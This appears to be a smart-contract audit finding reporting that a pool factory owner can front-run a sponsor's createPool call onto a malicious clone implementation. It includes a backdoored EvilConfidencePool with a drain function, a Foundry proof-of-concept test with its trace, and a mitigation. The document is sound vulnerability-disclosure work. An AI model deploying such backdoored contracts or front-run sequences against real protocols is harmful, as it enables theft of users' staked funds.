FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

`ConfidencePoolFactory` binds a new pool to whatever `poolImplementation` is live at `createPool` time, letting the factory owner front-run a specific sponsor onto a malicious clone

Author Revealed upon completion

Description

  • createPool clones whatever address poolImplementation currently points to. setPoolImplementation is a plain onlyOwner setter with no timelock, no pending-value/commit-reveal pattern, and no way for the calling sponsor to pin or verify the value they expect.

  • Because EIP-1167 clones bake their delegatecall target into their own bytecode at deploy time, whichever implementation is live in the exact block createPool executes is permanently bound to that one clone — completely independent of what it was before or what it becomes immediately after. A malicious implementation isn't limited to feeding the clone false external state; it can carry arbitrary extra logic (e.g. an owner-only drain function) with the real ConfidencePool's full storage layout underneath it, bypassing every accounting/entitlement check the real contract enforces.

  • createPool also reads safeHarborRegistry live the same way, with the same lack of commitment — but that half of the surface is narrower: docs/DESIGN.md §11 already treats a registry reporting false state as an accepted, out-of-model trust assumption ("no funds can be stolen" that way, only resolution outcome/liveness). The poolImplementation swap below is the vector that actually defeats that claim, so it's the one this submission centers on.

mapping(address token => bool allowed) public override allowedStakeToken;
function setPoolImplementation(address newPoolImplementation) external onlyOwner { //@> no timelock, no commit-reveal — takes effect for the very next createPool call
if (newPoolImplementation == address(0)) revert ZeroAddress();
address old = poolImplementation;
poolImplementation = newPoolImplementation;
emit PoolImplementationUpdated(old, newPoolImplementation);
}
function createPool(
address agreement,
address stakeToken,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address[] calldata accounts
) external whenNotPaused returns (address pool) {
...
bytes32 salt = keccak256(abi.encode(agreement, _poolsByAgreement[agreement].length));
pool = Clones.cloneDeterministic(poolImplementation, salt); //@> reads whatever poolImplementation is live RIGHT NOW — the sponsor has no way to pin the value they inspected when building this call
IConfidencePool(pool)
.initialize(
agreement,
stakeToken,
address(safeHarborRegistry),
defaultOutcomeModerator,
expiry,
minStake,
recoveryAddress,
msg.sender,
accounts
);
...
}
  • A malicious (or transiently-compromised) factory owner can watch the mempool for a sponsor's createPool transaction, front-run it with setPoolImplementation(evilImpl), let the sponsor's original transaction land unchanged and clone the evil implementation, then immediately back-run with setPoolImplementation(realImpl). Every other pool — past and future — is completely untouched; only the one targeted sponsor's clone runs malicious code.

Risk

Likelihood:

  • Requires the factory-owner role, but no special preconditions beyond that — no waiting on an external event, no cooperation from anyone else. A privileged actor with mempool visibility can execute the full attack unilaterally, atomically, against any single targeted createPool call, at a time entirely of their choosing.

  • Doesn't strictly require malice to be triggered: an ordinary, honest setPoolImplementation upgrade landing in the same block as an unrelated sponsor's createPool produces the same order-dependent binding by accident, with neither party able to detect or prevent it from the calldata alone.

Impact:

  • The victim's clone is indistinguishable from a legitimate pool through any normal interaction — initialize, stake, and every event fire exactly as expected (confirmed in the PoC below) — while silently running attacker-authored bytecode with the real ConfidencePool's full storage layout plus arbitrary extra logic (e.g. a backdoored drain function).

  • Directly contradicts the README's stated Factory Owner LIMITATION: "cannot move funds held by pool clones." This attack doesn't call a fund-moving function on the factory directly, but deterministically achieves the same outcome by controlling which code a specific future clone executes — a full, silent, single-pool fund drain.

Proof of Concept

EvilConfidencePool inherits the real ConfidencePool wholesale (so initialize/stake/etc. behave identically) and adds one extra function only its deployer knows about:

contract EvilConfidencePool is ConfidencePool {
address internal constant ATTACKER = address(0xBADBAD);
function backdoorDrain(address token) external {
IERC20(token).transfer(ATTACKER, IERC20(token).balanceOf(address(this)));
}
}
function testPoC_FactoryOwnerFrontrunsCreatePoolWithMaliciousImplementation() external {
vm.prank(factoryOwner);
factory.setPoolImplementation(address(evilImpl)); //@> front-run: swapped in right before the sponsor's pending createPool lands
vm.prank(sponsor);
address pool = factory.createPool( //@> sponsor's tx is unchanged — same calldata they built against the real implementation
address(agreement), address(token), block.timestamp + 31 days, ONE, recovery, _scope()
);
vm.prank(factoryOwner);
factory.setPoolImplementation(address(realImpl)); //@> back-run: restored immediately, every other pool unaffected
vm.prank(alice);
token.approve(pool, type(uint256).max);
vm.prank(alice);
ConfidencePool(pool).stake(100 * ONE); //@> looks completely normal — real ABI, real events, real accounting
vm.prank(ATTACKER);
EvilConfidencePool(pool).backdoorDrain(address(token)); //@> function that does not exist on the real ConfidencePool at all
assertEq(token.balanceOf(ATTACKER) - attackerBalanceBefore, 100 * ONE, "attacker drained the entire clone"); //@> proof: 100% of alice's stake, gone
assertEq(token.balanceOf(pool), 0, "pool fully drained despite alice's stake being live");
}

Run: forge test --match-path "test/FactoryImplementationFrontrun.t.sol" -vvvvPASS (gas: 704667)

[PASS] testPoC_FactoryOwnerFrontrunsCreatePoolWithMaliciousImplementation() (gas: 704667)
├─ VM::prank(factoryOwner)
├─ ConfidencePoolFactory::setPoolImplementation(EvilConfidencePool) // front-run
│ └─ emit PoolImplementationUpdated(old: ConfidencePool, new: EvilConfidencePool)
├─ VM::prank(sponsor)
├─ ConfidencePoolFactory::createPool(agreement, token, ...) // sponsor's original tx, unmodified
│ ├─ new <clone>@0x8788... (45 bytes of code)
│ ├─ 0x8788...::initialize(...) [delegatecall]
│ │ └─ EvilConfidencePool::initialize(...) [delegatecall] // clone is running the EVIL implementation
│ │ └─ ← [Stop] // succeeds, looks completely normal
│ └─ emit PoolCreated(..., pool: 0x8788...)
├─ VM::prank(factoryOwner)
├─ ConfidencePoolFactory::setPoolImplementation(ConfidencePool) // back-run: real implementation restored
├─ VM::prank(alice)
├─ MockERC20::approve(0x8788..., max)
├─ VM::prank(alice)
├─ 0x8788...::stake(100e18) [delegatecall to EvilConfidencePool]
│ └─ emit Staked(alice, 100e18) // normal staking, no visible red flag
├─ 0x8788...::eligibleStake(alice) → 100e18
├─ VM::prank(0xBADBAD)
├─ 0x8788...::backdoorDrain(token) [delegatecall to EvilConfidencePool]
│ ├─ MockERC20::balanceOf(0x8788...) → 100e18
│ ├─ MockERC20::transfer(0xBADBAD, 100e18)
│ └─ ← [Stop]
├─ MockERC20::balanceOf(0xBADBAD) → 100e18 // attacker took 100% of alice's stake
└─ MockERC20::balanceOf(0x8788...) → 0 // pool fully drained
Suite result: ok. 1 passed; 0 failed; 0 skipped

Recommended Mitigation

Let the sponsor pin the exact implementation they expect at call time, so a mid-flight swap causes the call to revert instead of silently binding to something the sponsor never inspected.

function createPool(
address agreement,
address stakeToken,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
- address[] calldata accounts
+ address[] calldata accounts,
+ address expectedImplementation
) external whenNotPaused returns (address pool) {
+ if (expectedImplementation != poolImplementation) revert ImplementationChanged();
...

This closes both the deliberate front-run and the accidental race: the sponsor's transaction now reverts cleanly instead of silently binding to whatever happened to be live, and they can safely retry once they've re-checked the new value. Pairing it with a short timelock on setPoolImplementation (so a change is visible for at least one block before it can affect a createPool call) further shrinks the window without requiring every integrator to remember to pass the new parameter. The same expected* pinning pattern extends to safeHarborRegistry too if the weaker, DESIGN.md-accepted registry-swap variant is worth closing at the same time.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!